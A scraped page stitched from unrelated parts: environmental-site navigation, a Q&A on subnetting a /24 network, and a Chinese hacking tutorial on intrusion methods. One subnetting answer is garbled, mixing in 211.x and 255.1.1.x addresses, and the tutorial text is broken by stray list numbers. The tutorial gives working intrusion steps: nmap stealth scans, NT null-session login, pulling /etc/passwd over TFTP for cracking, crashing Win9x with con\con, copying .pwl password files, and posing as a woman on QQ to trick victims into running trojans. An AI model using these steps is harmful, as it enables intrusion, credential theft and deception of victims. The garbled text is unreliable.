一个公司5公司各部门职能,每个部门20人,公司申请了一个201.1.1.0/24的网络。

京环之声微信网站手机版
北京市环境质量发布平台
实时空气质量
首要污染物:
空气质量指数(AQI):
空气质量状况:
分指数(IAQI)
12小时空气质量预报
首要污染物
空气污染指数范围
河流(河段)
现状水质类别
河流(河段)
现状水质类别
01 02 03 04 05 06 07 08 09 10 11 12
现状水质类别
现状水质类别
01 02 03 04 05 06 07 08 09 10 11 12
现状水质类别
现状水质类别
01 02 03 04 05 06 07 08 09 10 11 12
各年度声环境质量状况
区域环境噪声平均等效声级(分贝(A))
道路交通噪声平均等效声级(分贝(A))
自动监测月均值范围(nGy/h)
45.6-71.5*
44.8-69.7*
49.7-81.5*
42.0-76.8*
37.1-101.5*
38.5-95.2*
39.2-96.7*
40.0-82.6*
50.9-105.3*
61.1-93.1*
57.1-109.6*
48.0-100.0*
43.2-84.9*
  *为扣除宇宙射线响应值
北京市辐射环境自动监测站空气吸收剂量率
(日09:00 -3月27日09:00)
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&单位:nGy/h
参考本底范围
60.2 -119.9
声环境质量年报
区域环境噪声平均等效声级(分贝(A))
年度辐射剂量率
北京市环境&辐射剂量率
* &为扣除宇宙射线响应值
自动监测月均值范围(nGy/h)
辐射环境质量日报
单位:nGy/h
参考本底范围
大气环境质量
水环境质量
声和辐射环境质量
建设项目环境影响评价审批
建设项目环保设施验收信息
政府信息公开
北京号牌机动车尾气超标车查询
车牌号:京
企业随机码
外地号牌机动车尾气超标车查询
一环境保护常用网站链接一
生态环境部
北京市环境保护科学研究院
北京市环境保护监测中心
北京市环保产业协会
一各区环保局链接一
东城区环境保护局
西城区环境保护局
朝阳区环境保护局
海淀区环境保护局
丰台区环境保护局
石景山区环境保护局
门头沟区环境保护局
房山区环境保护局
通州区环境保护局
顺义区环境保护局
大兴区环境保护局
昌平区环境保护局
平谷区环境保护局
怀柔区环境保护局
密云区环境保护局
延庆区环境保护局
经济开发区环境保护局
一其他省市链接一
天津市环境保护局
河北省环境保护厅
山西省环境保护厅
内蒙古自治区环境保护厅
辽宁省环境保护厅
吉林省环境保护厅
黑龙江省环境保护厅
上海市环境保护局
江苏省环境保护厅
浙江省环境保护厅
安徽省环境保护厅
福建省环境保护厅
江西省环境保护厅
山东省环境保护厅
河南省环境保护厅
湖北省环境保护厅
湖南省环境保护厅
广西自治区环境保护厅
广东省环境保护厅
海南省生态环境保护厅
重庆市环境保护局
四川省环境保护厅
贵州省环境保护厅
云南省环境保护厅
陕西省环境保护厅
甘肃省环境保护厅
宁夏自治区环境保护厅
青海省环境保护厅
新疆自治区环境保护局
香港环境保护署
一其他常用链接一
中央政府门户网站
版权所有:北京市环境保护局京ICP备号京公网安备
维护单位:北京市环境信息中心地址:北京市海淀区车公庄西路14号 邮编:100048一个公司5个部门,每个部门20人,公司申请了201.1.1.0/24网络,请做一下IP规划_百度知道
一个公司5个部门,每个部门20人,公司申请了201.1.1.0/24网络,请做一下IP规划
要详细计算过程哦
我有更好的答案
20人的话意思是说要求网内主机最少20个ip了,那么每个子网内主机数最接近的就是2^5-2=30了,而201是C类,对第四个8位进行细分子网的话,就是3位网络地址就是2^3=8个子网,每个子网2^5-2=30个ip,具体1)201.1.1.1 To 201.1.1.302)201.1.1.33 To 201.1.1.623)201.1.1.65 To 201.1.1.944)201.1.1.97 To 201.1.1.1265)201.1.1.129 To 201.1.1.1586)201.1.1.161 To 201.1.1.1907)201.1.1.193 To 201.1.1.2228)201.1.1.225 To 201.1.1.254
采纳率:83%
201.1.1.1-201.1.1.30 公共设备、对外服务等33-62 部门A65-94 部门B97-126 部门C129-158 部门D161-190 部门E193-222 保留225-254 管理设备
要分8个网段,每个网段32台主机。楼上好像那不是分网段吧,最低的一个网段也应该是201.1.1.32/27~201.1.1.63/27才对吧
设 n为主机位数,m为子网位数1、计算主机位数:根据2^n&20 —&n&4 所以n=5(位)也就是主机数量最30台;2、 计算子网位数:根据2^m&8-n=8-5=3 &—&&m&2 所以m取3 也就是可容纳子网数是8;3、各部门IP配置部门一(子网1: 211.1.1.0/27):子网:211.1.1.0主机范围:255.1.1.1 &到 255.1.1.30子网掩码:255.255.255.224部门二(子网2:&211.1.1.32/27):子网:211.1.1.32主机范围:255.1.1.33 &到 255.1.1.62子网掩码:255.255.255.224部门三(子网3:&211.1.1.64/27):子网:211.1.1.64主机范围:255.1.1.65到 255.1.1.94子网掩码:255.255.255.224部门四(子网4:&211.1.1.96/27):子网:211.1.1.96主机范围:255.1.1.97 &到 255.1.1.126子网掩码:255.255.255.224部门五(子网5:&211.1.1.128/27):子网:211.1.1.96主机范围:255.1.1.129 &到 255.1.1.158子网掩码:255.255.255.224
其他1条回答
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。系统网络入侵方法小结(一)
声明:本文转载自:http://www.newsmth.net/nForum/#!article/Crack/12866?au=hwhwhw
系统网络入侵方法小结(一)
作者:雾中鸟
  郑重声明:本文主要结合一些书籍和网络上的一些相关文章加上我个人的一些经验
知识写成,未经本人许可,严禁作为商业用途,否则追究法律责任!
一旦有人提起“黑客”两个字,就会有大部分的人觉得很神秘。确实,对于许多像我们
一样的年轻人都希望自己是很进入很多重要机构的超级黑客,不过黑客都需要很深入的
学习编程技术,不管是哪种,只要学习精通了,就可以作为一个黑客的基础了。当然,
本文主要探讨的不是编程,而是如何学习网络安全方面的技术。
根据我个人的了解,现在国内的绝大部分红客都是依靠自己了解的一些漏洞或其他一些
方面的知识进入主机达到黑站点的目的,其实我觉得这样的态度错误了。我不赞成黑站
点,我希望的是拿“进入主机”的目标作为自己学习的动力。可是现在网络上真正比较
全面的讲解网络安全方面的知识也不太系统,由于我看了一些相关的书,觉得有一些讲
解的比较系统,我现在把它总结出来供大家学习时候参考。
首先,要掌握网络安全技术,必需要掌握网络技术(我也没有怎么掌握),至少应该知
道网络和TCP/IP协议的一些基本的知识、了解防火墙的结构与原理、了解加密技术、能
利用数字签名证实消息源、掌握超文本传输协议及安全超文本传输协议、懂得利用SSL(
Secure Socker Layer,安全套接层)安全的传递信息、鉴别和防御黑客入侵、JAVA/CG
I的安全性能、预防病毒等等。这些都是比较高级的技术,我对此也不是十分了解,也希
望以后能更各位朋友多多学习、探讨,把我们的网络加固的更加安全。现在我把我的一
些关于入侵的思维结合一本书的内容些给大家,希望对大家在网络安全方面上有更深一
层的了解,同时也为了促进我自身的提高:
第一章:网络踩点
网络踩点就是通过结合使用工具和技巧,攻击者能够由一个未知量规约出域名、网络块
以及直接连接到互联网上的系统的个别IP地址的一个特定范围的方法。
对于一个真正的黑客,如果想进入一个主机,他会不择手段的探索这个主机的信息,而
不是局限于现在大多数入侵者扫描主机得到主机信息之上。他会从各方面分析该主机的
情况,比如主机地理位置可能使用的操作系统、根据主机的重要程度推测管理员的水平
,然后推测可能会出现什么失误的网络配置,具体我总结出来有以下几个方面:
1、 仔细查看目标2、 机构的网页:真正希3、 望入侵这台主机,4、 就需要收集尽可
能多的主机上机构的信息,5、 这其中可能有:
 机构所在位置
 与其关系亲密的公司或实体
 公司兼并或归靠的新闻报道
 电话号码
 联系人姓名
和电子邮件地址
 指
示所用安全机制的类型的隐私和机密保障策略
 与其相关联的Web服
务器超链接
关于这些方面的利用将在下面的各章节中利用,请勿必注意!
6、 阅读HTML源代码:这一点在很多入侵者忽略了,7、 其实是很重要的,8、 可以了
解整个主页真正在你的计算机上能做到什么东西。真正一个好的主页,9、 为了方便其
他网页编程员更方便的读懂网页,同10、 时也加了很多注释。比如说现在流行的万11、
花谷网页病毒,12、 它主要通过修改注册表达到破坏的目的,13、 为了尽快的恢复1
4、 回来,15、 你就可以研究它本身的源代码,16、 摸着石头过河,17、 把一些内容
修改回来。说到注释问题,18、 一般注释都在“&!--&”之间,19、
可能存放的信息是
私用电子邮件地址,20、 电话号码等,21、 这在以后的拨号攻击中相当重要。
22、 搜索公开信息源找出与目标23、 机构关联的信息:了解与机构相连接的主机也是
很重要的一个方面,24、 由于各个主机之间的权限不同,25、 但是未必同26、 一个机
构的各个主机具有相同27、 的安全性,28、 你就可以通过先得到一个安全性较差主机
的权限,29、 再利用它作为跳板,30、 到达进入主机的目的。凯文·米特尼克就曾经
用这样的方法成功入侵过!
31、 阅读机构工作人员的技术水平:如果能从多方面了解管理员的技术水平也是成功进
入主机的关键,32、 尽可能看这个管理员张贴的文章,33、 你就可以了解管理员熟悉
什么、不34、 熟悉什么,35、 由此可能会出现什么错误的配置,36、 这在入侵时打好
了基础,37、 至少你能大体知道进入主机后是否有必要删除日志文件等。
38、 机构本身的查询:一旦标39、 识出一个特定的机构或实体,40、 就可以进行Int
erNIC数据库查询了,41、 这样能发现与之类似的域名,42、 找到真正的网络,43、
直到发现一个真正工作着的网络为止。下面我们以Acme Networks(极点网络公司)一个
例子说明这点,44、 在某个UNIX或LINUX的SHELL下执行查询:
[japleak@root]$ whois “Acme Networks”
[rs.internic.net]
Acme Networks (NAUTILUS-AZ-DOM) NAUTILUS-NJ.COM
Acme Networks (WINDOWS4-DOM) WINDOWS.NET
Acme Networks (BURNER-DOM) BURNET.COM
Acme Networks (ACME2-DOM) ACME.NET
Acme Networks (Y2MAN-DOM) Y2MAN.COM
看见了吧?与此相关联的域名有很多,现在就要发现那个是真正的网络,哪个是真正工
作着的网络呢?这就要从中实践,总不可能你去寻找一个不存在的网络吧?
45、 机构域名46、 查询:作为一个机构要上互联网就必须去登记,47、 所以登记的地
方就必然有它的一些资料,48、 建议去http://www.nic.com/进行查询,49、 为了方便
说明,50、 这里同51、 样也用shell查询:
[japleak@root]$ whois Acme.net
[rs.internic.net]
Registrant:
Acme Networks (ACME2-DOM)
11 Town Center Ave.
Einstein,AZ 21098
Domain Name:ACME.NET
Administrative Contact,Technical Contact,Zone Contact:
Boyd,Woody [Networks Engineer] (WB9201)
201-555-5-3338 (FAX)201-555-1212
Record last updated on 13-Sep-95
Record created on 13-May-95
Database last update on 04-Mar-02 23:20:14 EDT
Domain servers in listed order:
DNS.ACME.NET 10.10.10.1
DNS2.ACME.NET 10.10.10.2
上面的E文我就不用解释了吧?通过这样查询就可以的到如下信息:
 注册人
 域名
 管理方面联系人
 记录创建时间和更新时间
 域名
系统(DNS)服 务器
52、 网络勘查:既然已经标53、 识了已知的网络,54、 就需要对网络内部进行一定的
勘查,55、 看看网络
速度、是否存在防火墙等等,下面我们还是用常用的WINDOWS下的tracert追踪路由,查
看整个网络的拓扑:
C:\&tracert Acme.net
Tracert to Acme.net (10.10.10.1),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (10.10.10.1) 43.803ms 44.041ms 47.835ms
由上可以看见本地到主机需要经过5跳,中间没有UDP分组的丢失,因此可以看出第四跳
很可能是主机Acme.net的路由设备,这样可以对整个网络之间有一个大体的了解。
如果存在防火墙又怎么知道呢?下面还是用一个例子说明吧:
C:\&tracert 10.10.10.2
Tracert to (10.10.10.2),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (10.11.31.14) 43.030ms 43.941ms 43.244ms
可以看出,缺省的UDP分组被防火墙拦截了。可能此时有人会说ping也可以做到这一点,
如果出现超时(Request Time Out)提示,也是因为防火墙的原因,不过我要说:不能确
定!因为ping发送的是一个ICMP分组,可以通过主机的响应判断网络状况,如果安装了
防火墙,可以过滤掉ICMP分组。不过,如果对方是WINDOWS系统,也可以很方便的修改注
册表来过滤掉ICMP分组,让攻击者误认为是存在防火墙!其实修改注册表的方法也是避
免DoS(拒绝服务攻击)的一种有效方法。
第二章:扫描
1、 网络PING查询:要映射出真正的网络是否存在,2、 就需要对网络是否工作着一定
了解。传统意义上,3、 PING用于向某个目标4、 系统发送ICMP回射请求(echo reque
st)分组(ICMP类型为8),5、 并期待由此改发的表明目标6、 系统存活着的ICMP回射
应答(echo reply)分组(ICMP类型为0)。不7、 过用这样的方法在整个网络中扫描的
时间太长,8、 这里推荐使用UNIX下的fping和gping,9、 两者可以联系运用,10、 达
到探测网络是否存活的目的。
[japleak@root]$gping 192.168.0.1 254
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.253
192.168.0.254
192.168.0.255
这样我们就得到网络上潜在的所有IP地址构成的列表后,我们就可以尝试探测那些系统
存活着了。
[japleak@root]$gping 192.168.0.1 254|fping -a
192.168.0.254 is alive
192.168.0.224 is alive
192.168.0.228 is alive
192.168.0.3 is alive
192.168.0.2 is alive
192.168.0.4 is alive
192.168.0.1 is alive
11、 端口扫描:端口扫描就是连接到目标12、 系统的TCP和UDP端口上,13、 确定哪些
服14、 务正在运行即处于监听状态过程。通过扫描我们希15、 望达到以下的目的:
 标
识运行在目标 系统上的TCP服
务和UDP服&#61
 标
识目标 系统的操作系统类型
 标
识特定的应用或特定服 务的版本
 标
识目标 系统存在的漏洞或缺陷
TCP连接一般分为三路握手过程:(1)客户机发送一个SYN分组给服务器;(2)服务器
接受分组后,向客户机发送一个SYN/ACK分组,表示服务器接受这个连接;(3)最后客
户机再发出一个ACK分组进行通信。
在扫描器中,国内用的最多的莫过于小榕的流光,因此这里我就不用在介绍了,具体用
法可以参考流光的使用说明。现在我们就针对国外经久不衰的一个扫描器NAMP进行讨论
由Fyodor编写的nmap提供了基本的TCP和UDP扫描的能力,集成了多种扫描器的技巧,很
少以单个软件包提供如此之多用处的工具。下面介绍它的一些特写下说明:
[japleak@root]$ nmap -h
nmap v.2.12namp [Scan Type(s)] [Options]
&host or net # 1 …[# N]&Sca
-sT tcp connect () port scan -sS tcp SYN stealth port scan (must be
F,-sX,-sN Stealth FIN,Xmas,or Null scan (only works against
UNIX).-sP ping “
scan”.Find which hosts on specified network(s) are up but don’t
them -sU UDP port scan,must be root -b
&ftp_relay_host& ftp “bounce
port scan Options (none are required,most can be combined):
-f use tiny fragmentd packets for SYN,FIN,Xmas,or NULL scan.
-P0 Don’t ping hosts(needed to scan www.microsoft.com and
-PT Use “TCP Ping”to see what hosts are up (for normal and ping
scans).-PT
21 Use “TCP Ping”scan with probe destination port of 21 (or
whatever).-PI
Use ICMP ping packer to determianes hosts that are up -PB Do BOTH
TCP&ICMP s
cans in parallel (TCP dest port can be specified after the ‘B’) -PS
P SYN sweep rather than the default ACK sweep used in “TCP Ping” -O
P/IP fingerprinting to guess what OS the remote host is running -P
ex:’-p 23’ will only try port 23 of the host(s) ‘-p 20-30,63000-’
0-30 and .default:1-1024 +ect/services
-Ddecoy_host1,decoy2,ME,decoy3 [,…]Launch scans from decoy host(s)
th the real one.If you care about the order your real IP
appears,stick “ME”
somewhere in the list.Even if the target detects the scan,they are
to know whick IP is scaning them and which are decoys.
-F fast scan.Only scans ports in /etc/services,a la strobe(1).-l
Get idented
(RFC 1413) info on listening TCP procsses.-n Don’t DNS resolve
anything un
less we have to (makes ping scan faster) -R Try to resolve all
hosts,even do
wn ones (can take a lot of time) -o
&logfile& Output scan logs to
in human readable.-m &logfile&Output
scan logs to &logfile& in machine
able format.-i&inputfile& Grab IP
numbers or hostnames from file.Use ‘-’ f
-g &portnumber& Sets the source port
used for scans.20 and 53 are good choic
es.-S &your_IP& If you want to
specify the source address of SYN of FYN scan
.-v Verbose.Its use is recommended.Use twice for greater effect.-h
t this junk.Also see http://www.insecure.org/nmap/ -V Print version
nd exit.-e &devicename&.Send packets
on interface &devicename&
(eth0,ppp0,et
c.).-q quash argv to something benign,currently set to
“pine”.(deprecated)
Hostnames specified as internet hostname or IP address,Optional
‘/mask’ sp
ecifiles subnet,For example:cert.org /24 or 192.88.209.5/24 or
192.88.209.0-
255 or ‘128.88.209.*’ all scan CERT’s Class C.
看过标准的TCP端口扫描结果了,现面我们用隐身扫描SYN方法扫描。SYN扫描并不建立到
目标系统的完整连接,因此被目标系统检测到的机会比较小。
[japleak@root]$nmap -sS 192.168.1.1
Starting nmap v.2.12 by Fyodor (
,www.insecure.org/nmap/)
Interesting ports on (192.168.1.1)
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
42 open tcp nameserver
53 open tcp domain
79 open tcp finger
80 open tcp http
81 open tcp hosts2-ns
106 open tcp pop3pw
110 open tcp pop-3
135 open tcp loc-srv
139 open tcp netbios-ssn
443 open tcp https
这样就可以看见主机开放了哪些端口,端口所用的协议,服务类型等,具体使用,清参
考上面的帮助。
这里有一个技巧:当139号和135号端口打开时,目标操作系统是Windows NT/2000的可能
性很大。Windwos NT/2000通常同时监听135和139号端口,而Windows 9x一般只监听139
第三章:查点
1、 indows NT/2000查点:Windows设计时为了方便资源的查询,2、 因此整个域和系统
查点非常简单。Net view就是一个很说明问题的例子,3、 首先查点网络上的域:
C:\&net view /domain
----------------------------------------
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
The command completed successfully.
接着列出某个特定域内的计算机;
C:\&net view /domain:corleone
Server Name Remark
-------------------------------------------------------
\\VITO Make him an offer he can’t refuse
\\MICHAEL Nothing personal
\\SONNY Badda bing badda boom
\\FREDO I’m smart
\\CONNIE Don’t forget the canoli
然后就开始查询NT域控制器,在NT/2000的安装光盘中有一个工具叫做nltest,主要是用
来表示主域控制器和备份域控制器的:
C:\&nltest /dclist:corleone
List of DCs in Domain corleone
\\VITO (PDC)
The command completed successfully
我们就可以从上面的输出知道目标的主域控制器(Primary Domain Controller)为VITO。
微软在出Windows NT/2000中存在一个败笔,就是叫做“红色按钮”的脆弱点、空会话的
连接,允许匿名登陆主机,这样无疑给攻击者提供了一个好的立足点:
net use \\192.168.202.33\IPC$ “”/user:””
这样建立了空会话后,我们就可以利用netbios共享中net view查看主机上存在的共享资
C:\&net view \\vito
Shared resources at \\192.168.7.45
Share name Type Used as Comment
----------------------------------------------------------------------------
------------
NETLOGON Disk Logon server share
Test Disk Public access
The command completed successfully
因此这样就存在着暴露共享资源的危险,具体怎么利用,相信很多对网络安全知识有一
定了解的朋友都知道怎么做。这里就顺便介绍一下利用139端口入侵的一些方法吧:
首先利用WINDOWS自带的工具nbtstat查出主机上的用户名
C:\&nbtstat -A 192.168.202.33
NetBios Remote Machine Name Table
Name Type Status
---------------------------------------------------------------------------
SANTINO &20&UNIQUE Registered
SANTINO &00&UNIQUE Registered
INTERNET &20&GROUP Registered
SANTINO &03&UNIQUE Registered
INTERNET &1E&GROUP Registered
SANTINO &20&UNIQUE Registered
ADMINISTRATOR &03&UNIQUE
Registered
INTERNET &1D&UNIQUE Registered
..__MSBROWSE__.. &01&GROUP
Registered
MAC Address=00-C0-4F-86-80-05
相信大家都看见第一行第一列的SANTINO了吧?这就是主机的名字,我们现在就要利用这
个名字。在WINDOWS的系统目录下有一个Lmhosts.sam有以下内容:
# Copyright (c) 1998 Microsoft Corp.
# This is a sample LMHOSTS file used by the Microsoft Wins Client
# over TCP/IP) stack for Windows98
# This file contains the mappings of IP addresses to NT
computernames
# (NetBIOS) names. Each entry should be kept on an individual
# The IP address should be placed in the first column followed by
# corresponding computername. The address and the comptername
# should be separated by at least one space or tab. The "#"
# is generally used to denote the start of a comment (see the
exceptions
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP
# files and offers the following extensions:
# #DOM:&domain&
# #INCLUDE &filename&
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
# Following any entry in the file with the characters "#PRE" will
# the entry to be preloaded into the name cache. By default,
entries are
# not preloaded, but are parsed only after dynamic name resolution
# Following an entry with the
"#DOM:&domain&" tag will associate
# entry with the domain specified by
&domain&. This affects how the
# browser and logon services behave in TCP/IP environments. To
# the host name associated with #DOM entry, it is necessary to also
# #PRE to the line. The &domain& is
always preloaded although it will not
# be shown when the name cache is viewed.
# Specifying "#INCLUDE &filename&"
will force the RFC NetBIOS (NBT)
# software to seek the specified
&filename& and parse it as if it
# local. &filename& is generally a
UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of
# server prior to the #INCLUDE. This mapping must use the #PRE
directive.
# In addtion the share "public" in the example below must be in
# LanManServer list of "NullSessionShares" in order for client
machines to
# be able to read the lmhosts file successfully. This key is
\machine\system\currentcontrolset\services\lanmanserver\parameters\nullses
sionshares
# in the registry. Simply add "public" to the list found
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple
# statements to be grouped together. Any single successful
# will cause the group to succeed.
# Finally, non-printing characters can be embedded in mappings
# first surrounding the NetBIOS name in quotations, then using
# \0xnn notation to specify a hex value for a non-printing
character.
# The following example illustrates all of these extensions:
# 102.54.94.97 rhino #PRE #DOM:networking #net group's DC
# 102.54.94.102 "appname \0x14" #special app server
# 102.54.94.123 popular #PRE #source server
# 102.54.94.117 localsrv #PRE #needed for the include
# #BEGIN_ALTERNATE
# #INCLUDE \\localsrv\public\lmhosts
# #INCLUDE \\rhino\public\lmhosts
# #END_ALTERNATE
# In the above example, the "appname" server contains a
# character in its name, the "popular" and "localsrv" server names
# preloaded, and the "rhino" server name is specified so it can be
# to later #INCLUDE a centrally maintained lmhosts file if the
"localsrv"
# system is unavailable.
# Note that the whole file is parsed including comments on each
# so keeping the number of comments to a minimum will improve
performance.
# Therefore it is not advisable to simply add lmhosts file entries
# end of this file.
这大体是对这个文件的描述,我们可以把内容删除掉,写入如下的格式:
192.168.202.33 SANTINO
注意:IP与SANTINO中间存在一个空格。保存,然后把名字改成Lmhosts,不要扩展名。
最后你就可以在查找-计算机中输入机器名或者IP地址,就可以找到主机,双击就可以
进入主机了。当然也可以用运行-\\ip的方法也一样。
4、 UNIX查点:大多数现代的UNIX实现依赖于TCP/IP连网特性,5、 因此不6、 会象通
过其传统的NetBios接口联网的NT/2000那样随随便便的泄漏信息,7、 然而8、 这一点
并不9、 能说UNIX可以免受查点技巧的侵害。
UNIX中有一个实用工具showmount,它在查点某个网络中经由NFS出口的文件系统上很有
用。下面以一个例子说明:
[japleak@root]$showmount -e 192.168.202.34
export list for 192.168.202.34:
/pub (erveryone)
/var (erveryone)
-e开关指示所指定NFS服务器主机的出口清单。不幸的是,几乎没有什么措施可以用来堵
塞这个漏洞,因为NFS的缺省行为。
UNIX网络信息的另一个潜在来源是NIS。NIS的主要问题是,一旦知道某台服务器的NIS域
名,就可以使用简单的RPC查询取得其NIS映射表中的任何内容。NIS映射表是同一域内各
主机关键信息的分布式映射关系。
下面再讨论UNIX的一个实用工具finger,finger是自动获取远程主机上用户信息的简便
方法。有不少系统管理员无意的让fingerd运行在不安全的缺省配置上。下面的例子假设
上次已经标识出运行finger服务(端口号为79)的一台有效主机:
[japleak@root]$finger -l @targer.hackme.com
[target.hackme.com]
Login:root Name:root
Directory:/root Shell:/bin/bash
On since Sun Mar 28 11:01(PST) on tty1 11minutes idle
(messages off)
On since Sun Mar 28 11:01 (PST) on ttyp0 from :0.0
3 minutes 6 seconds idle
John Smith
Security Guru
Telnet password is my birthdate.
“finger 0@hostname”命令也会给出有用信息:
[japleak@root]$finger 0@192.168.202.34
[192.168.202.34]
Line User Host(S) ldle Location
* 2 vty 0 idle 0 192.168.202.14
Se0 Sync PPP 00:00:02
不过所有UNIX的查点技巧的先决条件是取得/etc/passwd文件,这里值得提及的是TFTP(
简单文件传输协议),它是最为流行的攫取passwd文件的一种方法:
[japleak@root]$tftp 192.168.202.34
tftp&connect 192.168.202.34
tftp&get /etc/passwd /tmp/passwd.cracklater
这个文件除了能用一些破解软件破解,还能直接从文件中直接读取用户信息。
第四章:攻击Windows 95/98
据我所知,现在网上对于攻击Windows 9X这方面的文章也不太多,其主要是因为Window
s 9X并没有提供太大的网络功能。很多入侵者往往是借助系统本身的命令达到入侵的目
的,为了更好的研究9X系统,我希望把我的一些心得写出来供大家参考:
攻击者们“占有”一个Windows9X系统的方法只有两个:要么欺骗系统管理员执行他们期
望的代码,要么物理上接触系统的控制台。然而这些方法都比较困难,因此很多朋友在
论坛上询问怎么攻击Windows 9X系统,几乎就没有几个人回答上的原因了。
1、Windows 9X远程漏洞发掘:Windows 9X的远程漏洞发掘技巧可以分为四个基本类:(
1)直接连接到某个共享资源;(2)安装后门服务程序(木马);(3)发掘已知的服务
器程序弱点;(4)拒绝服务(DoS)。
共享资源是Windows 9X的一个致命漏洞,文件和打印共享、可选的拨号服务器以及远程
注册表操纵都是危及Windows 9X安全的方面。大家都知道基于Rhino 9小组的Legion就是
一个寻找共享的工具,除了扫描一个IP地址范围以发现Windows共享资源外,还有一个蛮
力破解器(Force Share),可以挂一个字典破解共享文件的密码。假设我们现在已经发
现了192.168.202.34上一个共享文件夹MY_DOCUMENTS有一个含有密码的共享,我们就可
以通过这个软件破解出来。在这个软件的Path栏输入:\\192.168.202.34\MY_DOCUMENT
S指定破解共享密码的文件夹,然后在Word Lists点击Add按钮,选择密码文件(这里密
码文件不需要太大,一般9X的共享密码很多人都设定比较短,加上本来设定共享的文件
夹一般管理员的安全意识不高),最后点Start按钮,开始利用字典破解。
虽然如果只是一个只读共享,看似这样的你的系统问题也不很大,不过你的信息已经暴
露给对方了。甚至有的还是全盘完全共享,由此你就可以进入这台主机,也可以通过他
作为跳板进入此机所在局域网的其他主机。同时,为了找到其他合法用户,可以下载PW
L文件,通过PWLVIEW一个软件很简单就可以看见对方的其他用户。当然对于喜欢木马的
用户,也可以给他种一个木马。(不过本人不推荐完全依赖木马)还有一个危险就是很
多人知道的无效的请求:\\192.168.202.34\MY_DOCUMENTS\con\con就会让对方蓝屏!
其次就是安装后门服务程序,传统我们成为木马程序。现在用的较多的木马程序有国产
的冰河、蓝色火焰、广外女生等,国外的软件有Back Orifice、NetBus等。不过木马程
序都必须让服务器端(受攻击端执行),现在面临的问题就是如何让对方执行,下面有
两种方法:(1)缓冲区溢出:缓冲区溢出就是利用应用程序代码某个特定片断中内在的
缺陷将随意的命令“溢出”到服务器的执行队列中。例如,技术高超的程序员就能够编
写自己选定的代码(假如是冰河的服务器程序)推入执行它的处理器的堆栈中的应用程
序。这个过程通常以隐秘的方式启动溢出的代码,几乎不可能检测到。现在已经有很多
办法能做到这一点了,大家还记得有一篇文章叫做《让网页自动执行你的程序》吧?如
果把这个程序改成冰河的服务程序?而且不光是网页能做到这一点,电子邮件也是很危
险的,建议还是最好用WEB的方式接收邮件,尽量不要用软件接收邮件!(2)欺骗:我
记得有一篇文章就是利用欺骗的方法控制了一台主机,具体谁写的一时给忘了。就是比
如你用QQ聊天时候,把你的名字改成MM的拉,而且最好要动听,比如什么雪什么婷的,
吸引你要黑的大GG上钩,而且还最好你加他,这样他会觉得你对他的名字有好感,加上
你的名字动人,说不定就会……^_^,首先给他套近关系,最好打情骂俏一些,说说肉麻
的话也可以。然后你说你最近有一个FLASH不知道怎么不能看,你说让他帮你看看。我想
这样一定有98%的GG都会具有很绅士的风度的,你就通过传输文件给他把你的服务端程
序发送过去,当然以后的事情就不用说了把?其实这个方法可以用一些程序绑定软件,
或者作一个批处理,把批处理的图标改成一个图象或者什么的,让他看见MM的照片的同
时,也执行了你的代码。
对于已知的服务器程序弱点可能就没有上面的方法用的多了,应该说9X系统还是一个很
安全的系统的,不过最好不要在9X的机器上运行服务器软件,除非你确定他们是安全的
。Microsoft的Personal Web Server软件就存在这样一个危险,可以参考改漏洞的描述
(http://www.microsoft.com/security/bulletins/ms99-010.asp)。另外Frontpage的
扩展服务也存在这样的一个漏洞。
最后是最后到无奈时候的黑客常用的方法:拒绝服务。通过发送病态的网络分组,导致
Windows 9X系统崩溃的程序非常只多。比如:ping of death、teardrop、land和WinNu
2、控制台(物理接触)攻击9X:其实这一点我都不知道是不是应该算这篇文章的讨论范
围,不过这在我们讨论网络安全方面来说还是很重要的,还是简要的讨论讨论吧。首先
如果主机设置了屏幕保护程序,99%的人都会毫不犹豫的按一下Reset键,接下来就没有
什么好做了,不过我觉得现在有一篇文章很好,具体名字我忘了,说的就是通过局域网
通过IP冲突巧妙的绕过屏幕保护密码。而且还有一个方法就是在一个有光驱的计算机放
入一张能自动运行的光盘,这样也能绕过屏幕保护的限制。这里有一篇Microsoft知识库
编号为Q141059的文章详细介绍了CD-ROM的Autorun问题:Windows polls repeatedly t
o detect if a CD-ROM has been inserted.When a CD-ROM is
detected,the volume
is checked for an Autorun.inf file.If the volume contains an
Autorun.inf fil
e,programs listed on the ‘open=’ line in the file are
run.(Windows反复轮询
以检测是否插入了一个CD-ROM,当检测到一个CD-ROM时,就检查其上是否有一个名为Au
torun.inf的文件。如果存在这个文件,就自动运行列在其中的‘open=’行上的程序)
另外还有一些漏洞,比如破解密码。Copy c:\windows\*.pwl a:\ 你就可以拿回自己的
电脑上,用pwlview一眼就看出用户名和密码哟。如果主机是一个拨号上网用户,有可能
还有拨号帐户和密码哟。
第五章:攻击Windows NT/2000
现在说起Windwos NT/2000与LINXU/UNIX安全性比较,很多人都会认为Windows的安全性
能赶不上LINUX/UNIX的安全性,其实对于有一定见解的人看来,NT的安全性已经接近任
何UNIX类型的系统了,有的地方也许比他们更好,原因如下:
 NT/2000不
提供在服 务器的处理器空间远程运行代码的固
有能力:从客户机启动的任何可执行程序加载到本客户机的CPU和内存中。
 NT/2000服
务器(非工作站)控制台的交互登陆权力缺省只局限于几
个管理性帐号,
除非攻击者攻破了这些帐号,
否则他们仍然不&#61
548; 为人知。绕开这些障碍确实存在,
